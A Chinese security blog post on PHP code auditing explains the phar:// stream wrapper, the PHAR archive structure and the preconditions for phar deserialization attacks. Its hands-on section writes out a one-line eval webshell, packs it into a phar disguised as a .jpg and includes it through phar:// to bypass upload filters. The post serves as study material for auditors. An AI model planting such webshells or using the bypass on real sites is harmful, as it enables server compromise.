[代码审计篇]php代码审计之浅析Phar伪协议

0x01 前言

简要说明

写这篇博客的目的只有两个

  • 为后续博客之[代码审计篇]中关于php反序列化漏洞的审计作铺垫
  • 为上一篇博客做点漏洞原理的补充
环境工具

Win10 +Ubuntu
Phpstudy_pro
Sublime_Text 3

注意(tips)

PHAR的使用需要将php.ini设置phar.readonly设置为Off才能用于PHAR对象

PHAR 这个词是PHP和 Archive的组合词,基于Java开发人员熟悉的jar(Java Archive)

预备知识

文件头:

用来辨别一个文件真实内容,可修改(比如CTF中的杂项类就会有涉及修改文件头的试题)

以下是常见文件类型及其参数:
[代码审计篇]php代码审计之浅析Phar伪协议_第1张图片

phar可利用的文件操作函数

[代码审计篇]php代码审计之浅析Phar伪协议_第2张图片

0x02 简介

PHAR://协议

可以将多个文件归入一个本地文件夹,也可以包含一个文件

PHAR文件

PHAR文件是一种打包格式,通过将多数PHP文件和其他资源(如图像)捆绑到一个归档文件中来实现应用程序和库的分发。且所有PHAR文件都使用.phar作为文件扩展名,PHAR格式的归档需要使用自己写的php代码。

PHAR存档最有特色的一种方便的方法是将多个文件分组为一个文件。这样,PHARr存档提供了一种将完整的php应用程序分发到单个文件中并从该文件运行它的方法,而无需将其提取到磁盘。

PHP可以像在命令行上和从Web服务器上的任何其他文件一样轻松地执行PHAR存档。

PHAR文件结构

无论格式如何,每个归档都包含三个部分:
1.存根(stub)

一个可以引导归档的php文件。存根必须包含__HALT_COMPILER();语句,并且默认存根拥有在不启用PHAR扩展的情况下运行PHAR文件的能力.

识别phar拓展的标识,格式:xxx(可自定义),对应的函数是Phar::setStub()

2.清单(manifest describing the contents)

清单详细说明了存归档的内容。
被压缩文件的权限、属性等信息都放在这里。这部分会以序列化的形式存储用户自定义的meta-data(漏洞利用核心)。对应函数Phar::setMetadata()可自定义phar归档元数据.

[代码审计篇]php代码审计之浅析Phar伪协议_第3张图片

3.文件内容 (file contents)

归档中包含的原始文件,即被压缩文件的内容.

0x03 前提

一般情况下,利用Phar反序列漏洞有几个条件:

可以上传Phar文件
有可以利用的魔术方法
文件操作函数的参数可控

0x04 实战

先用下面这个例子来体会一下PHAR的基本操作:

  • owl.php
  • index.php

随便写个一句话owl.php

 
@eval($_POST["owl"]);
?>

然后将owl.php压缩,并将后缀改为.jpg

先用phar.php创建一个owl.phar压缩包


$phar = new Phar('owl.phar');   //
$phar->buildFromDirectory('/root/PHP_Serilize');//buildFromDirectory指定压缩的目录
$phar->compressFiles(Phar::GZ);  //Phar::GZ表示使用gzip来压缩此文件
$phar->stopBuffering();
$phar->setStub($phar->createDefaultStub('owl.php'));//setSub用来设置启动加载的文件
?>

[代码审计篇]php代码审计之浅析Phar伪协议_第4张图片

使用PHAR://去包含上面生成的owl.php(注意路径)

 
include('phar://./owl.jpg/owl.php');
?>

即可包含成功!

姿势1:绕过上传限制

使用Phar://伪协议流可以绕过一些上传限制,大多数情况下和文件包含一起使用

姿势2:反序列化漏洞

# 漏洞触发
利用Phar:// 伪协议读取phar文件时
会反序列化meta-data储存的信息

tip:系统文件操作的函数一般都能使用伪协议流,而Phar:// 自然也能如此

如果你对关于这两个实战姿势很感兴趣,还请移步到我的上一篇博客[反序列化篇]史上最全PHP反序列化漏洞实例复现姿势详解(补充ing)----会一直更新补充,旨在收集全网的php反序列漏洞.

0x04 结语

这已经是我的第六篇博客了,目前认为写博客的感觉还是很爽的,比起把笔记放着自己看(几乎不看),倒不如公开出来分享到社区,因为这样,那日益增加的粉丝和访问量会让我有一种责任感,而这种感觉恰好能督促我每天都学习!

参考文章
维基百科
先知
四个实例递进php反序列化漏洞理解

你可能感兴趣的:(Web安全,php,安全,sublime,text,java,ubuntu)